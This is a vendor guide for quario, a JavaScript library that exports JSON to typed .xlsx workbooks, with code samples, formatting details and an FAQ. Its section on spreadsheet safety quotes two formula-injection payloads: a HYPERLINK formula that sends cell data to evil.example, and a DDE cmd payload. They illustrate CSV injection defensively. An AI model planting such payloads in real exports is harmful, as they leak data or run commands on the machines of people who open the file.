---
title: "JSON to Excel in JavaScript — quario"
description: "Turn JSON data into a real .xlsx workbook in JavaScript. Numbers stay numbers, headers freeze, and no cell ever becomes a formula. No eval, runs anywhere."
url: "https://getquario.com/guides/json-to-excel"
---

# JSON to Excel, in JavaScript

Someone always asks for it in Excel. Not a PDF of a table — the actual workbook, so they can sort it, filter it, and add a column of their own. The trap is that most “export to Excel” code writes a CSV, or writes strings into cells. The numbers arrive as text: no sums, no charts, left-aligned and useless.

quario writes a real workbook. You describe the report once, hand it your JSON, and get `.xlsx` bytes where a number is a number.

Need one file rather than code? The [JSON to Excel converter](https://getquario.com/tools/json-to-excel.md) does it in your browser, and shows the definition it used. For a file a program reads rather than a person, the [JSON to CSV converter](https://getquario.com/tools/json-to-csv.md) writes plain records.

## The approach in one line

**JSON data + a report definition → .xlsx.** No HTML in the middle. No Excel installed on the server, and no CSV pretending to be a spreadsheet.

## Do it with quario

Install:

```bash title="shell"
npm install @quario/xlsx
```

Describe the report once — the same kind of definition you’d render to a PDF:

```json title="invoice.report.json"
{
  "data": "$.invoice.lines[*]",
  "aggregates": { "total": "sum:=@.qty * @.unitPrice" },
  "header": [
    { "type": "text", "value": "Invoice {{ $.input.invoice.number }}" }
  ],
  "detail": {
    "columns": [
      { "header": "Item", "value": "{{ @.item }}", "width": 50 },
      { "header": "Qty", "value": "{{ @.qty }}", "width": 15 },
      { "header": "Unit", "value": "{{ @.unitPrice }}",
        "style": { "format": "currency" }, "width": 15 },
      { "header": "Amount", "value": "{{ round(@.qty * @.unitPrice, 2) }}",
        "style": { "format": "currency" }, "width": 20 }
    ],
    "total": {
      "style": { "bold": true },
      "rows": [
        { "cells": [
          { "value": "Total", "span": 3, "style": { "align": "right" } },
          { "value": "{{ round($.total, 2) }}", "style": { "format": "currency" } }
        ] }
      ]
    }
  }
}
```

**Interpolate the bare value, not a formatted string.** A cell written `{{ @.qty }}` becomes a real numeric cell. Run it through a formatting function of your own and you’ve handed the spreadsheet a string. That’s the formatting a spreadsheet is perfectly good at doing itself, baked in where nobody can
undo it.

The Amount column computes, so it carries `round(…, 2)`. A currency value is a whole number of its currency’s minor units. This is the one target that shows you when it isn’t. A page presents `242.70000000000002` as `€242.70`; the cell keeps every digit for `SUM` to carry onward.

That’s what `"format": "currency"` is for, and why it appears on the money columns above rather than a function call. The kind is a presentation instruction, not a transformation. This target maps it to the cell’s **number format** and leaves the value a number. The column reads as currency — `"EUR"#,##0.00`, the instance’s currency code — *and* still answers to `SUM`. The same declaration renders as formatted text in HTML and PDF, so one definition serves all three without a spreadsheet-only variant.

The total row is one label spanning three columns, and one amount. The bold sits on the `total` block’s own `style` rather than on each cell. A `span` here is a merged range in the sheet. The label sits against its figure instead of leaving two empty cells between them.

Feed it your JSON and render:

```ts title="app.ts"
import { writeFileSync } from 'node:fs'
import { quario } from 'quario'
import { xlsx } from '@quario/xlsx'
import definition from './invoice.report.json' with { type: 'json' }

const report = quario({ locale: 'en-IE', currency: 'EUR' }).report(definition)

const data = await getInvoice()          // your JSON, from an API or DB
const bytes = await report.render(xlsx({ meta: { title: 'Invoice 1042' } }), data)

writeFileSync('invoice.xlsx', bytes)
```

That’s JSON in, spreadsheet out.

## What you get

The workbook that lands is a report, not a data dump:

- **Typed cells.** Numbers are numbers, booleans are booleans, dates are dates. `SUM` works on the Amount column without anyone cleaning it first.
- **A frozen header.** The table’s header row anchors the frozen pane, so it stays put while the body scrolls. That’s the spreadsheet’s answer to a repeated header on a printed page.
- **Columns sized to fit.** Each column takes its width from what it actually holds. A long product name and a short amount stop sharing one width, and an amounts column never arrives as `####`.
- **An optional filter.** `xlsx({ filter: true })` puts the reader’s dropdowns over the table’s header and data rows, and never over its totals.
- **A sheet per group.** A group’s `break` opens a worksheet for each instance, named from that instance’s key.
- **Bands as rows.** Report and group headers, detail rows, totals — the same walk the other targets render. They flatten onto the grid in the same order, with group headers bold by default.

## No cell is ever a formula

This is the part worth knowing before you export anything built from user data. Write a customer name of `=HYPERLINK("http://evil.example/?"&A1,"Click")` into most CSV or spreadsheet exporters and you have shipped a live formula to whoever opens the file. That’s the classic CSV
injection.

quario’s spreadsheet cells are inert by construction. This target writes a string cell as a string, whatever it starts with. There is no escaping to remember, no leading apostrophe mangling your data, and no setting to
get wrong:

```text title="what lands in the cell"
data:  "=cmd|'/c calc'!A1"
cell:  =cmd|'/c calc'!A1     ← text, inert, exactly what you stored
```

Same principle as the HTML target escaping every interpolated value. Data from an untrusted source reaches the document as data, never as something the reader’s
application will execute.

## One definition, both formats

The definition above isn’t spreadsheet-specific. Point a different target at it and the same report comes out paginated:

```ts title="both.ts"
import { quario } from 'quario'
import { xlsx } from '@quario/xlsx'
import { pdf } from '@quario/pdf'

const report = quario({ locale: 'en-IE', currency: 'EUR' }).report(definition)

const book = await report.render(xlsx(), data)
const paper = await report.render(pdf({ page: { size: 'A4' } }), data)
```

Layout that only makes sense on paper is a target option, not a schema field, which is why the same JSON serves both. Page geometry belongs to the PDF call. A spreadsheet has no pages and simply ignores anything that assumes them.

## FAQ

### Does the server need Excel or LibreOffice installed?

No. quario writes the `.xlsx` file itself. It’s a pure JavaScript dependency, so it runs in a plain Node container. It runs in the browser too, if you want the download to happen
client-side.

### Can I use one definition for both PDF and Excel?

Yes, and that’s the intent. Bands, groups, tables, aggregates, and styles are target-neutral. Each target maps them to its own model. Only genuinely paper-specific things — page size, margins, page headers and footers — live outside the shared definition.

### Is it safe to export user-supplied data?

Yes. Cell text is never interpreted as a formula, so the CSV-injection class of bug doesn’t exist here. Expressions in the *definition* parse into closures, and nothing evaluates them as source, so no data value can become code either. Definitions themselves are configuration you trust — treat them like the code
around them.

### Are the exported bytes identical every run?

Yes. The same definition, data and options produce byte-identical output on one runtime, so a checksum is a fair test of an export. The writer is [werkmap](https://github.com/getquario/werkmap), quario’s own, which replaced exceljs in 0.9.0 — so a fingerprint you stored from an earlier version changes once.

### What about formatting — currency, dates, decimals?

Interpolate the raw value and declare a `format` kind — `currency`, `number`, `percent`, or `date`. This target maps each to a cell **number format** and leaves the value typed. The display is the spreadsheet’s own, and the number stays a number. Every target presents the same digits: two for `number` and `percent`, and a currency’s own minor units for `currency`, so a JPY amount has none. To ask for another count, the kind carries one modifier — `{ "kind": "percent", "digits": 0 }` writes `0%` here and presents `21%` on a page.

Locale, currency code, and timezone come from `quario({ locale, currency, timeZone })` rather than the definition, so each instance presents the same report its own way. A cell denominated in another currency names it itself — `"currency": "=@.ccy"` beside the `format` — and keeps its number. A listing that mixes currencies gets `"USD"#,##0.00` on one row and `"JPY"#,##0` on the next rather than text.

Dates read from a string as well as a `Date`. A calendar date `2026-08-14` presents without reviving anything first, and so does an offset-bearing timestamp `2026-08-14T12:30:00Z`. Both land as a real typed date here, under `dd mmm yyyy`, and `14 Aug 2026` on a page. That’s the `medium` form. `{ "kind": "date", "form": "long" }` asks for `14 August 2026`, and `short` for `14/08/2026`. A zoneless `2026-08-14T00:00:00` isn’t read: it means local time, so it would land on a different day per machine. A loose `14/8/2026` isn’t read either. This target writes
anything unread as authored.

A calendar date is UTC midnight, so under a western instance timezone it presents as the day before. Pin `timeZone` on the instance if that matters.

A sum of exact amounts can land on an inexact float — a receipt’s subtotal plus VAT computes to `83.75999999999999`. A page presents that as `83.76`. This target stores it as it is. Every expression carries `round(x, 2)` for exactly that, so a total cell reads `{{ round($.subtotal + $.vat, 2) }}` and the workbook gets `83.76`.

Use quario’s style vocabulary for the parts the grid can’t express itself: bold, size, colours, fills, and alignment all map onto cell formatting.

### Can I control the printed page?

Yes, through `xlsx({ page: { size, margin, orientation, fit } })`, which reaches every worksheet the report opens. `size` is `A4` or `letter`, `margin` is all four margins in points, `orientation` turns the paper, and `fit` scales a worksheet to one page wide. A definition that declares its own `page.margin` wins, and declaring a margin in both places is a render error rather than a silent winner.

### How big is it?

The engine is under 5 kB minified and compressed, and the spreadsheet mapping on top of it under 2 kB. The writer underneath is werkmap, around 90 kB installed and with no dependencies of its own. It replaced exceljs in 0.9.0, which brought nine packages and 22 MB with it. [Still writing workbooks with exceljs? →](https://getquario.com/compare/exceljs.md) Writing a valid `.xlsx` still means writing a zipped bundle of XML parts, and that machinery no longer dwarfs the report logic sitting above it.

### Can I use it for free?

Evaluating it’s free and has no time limit — the full engine, no key to request — and evaluation output carries a watermark. Anything past evaluating it, including shipping it in an application or sending exports to real customers, needs a license for each production deployment. Its users, agents, and renders are never counted, and replicas of one service count once. [See pricing →](https://getquario.com/pricing.md)

```json
{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://getquario.com/"},{"@type":"ListItem","position":2,"name":"Guides","item":"https://getquario.com/guides"},{"@type":"ListItem","position":3,"name":"JSON to Excel","item":"https://getquario.com/guides/json-to-excel"}]}
```
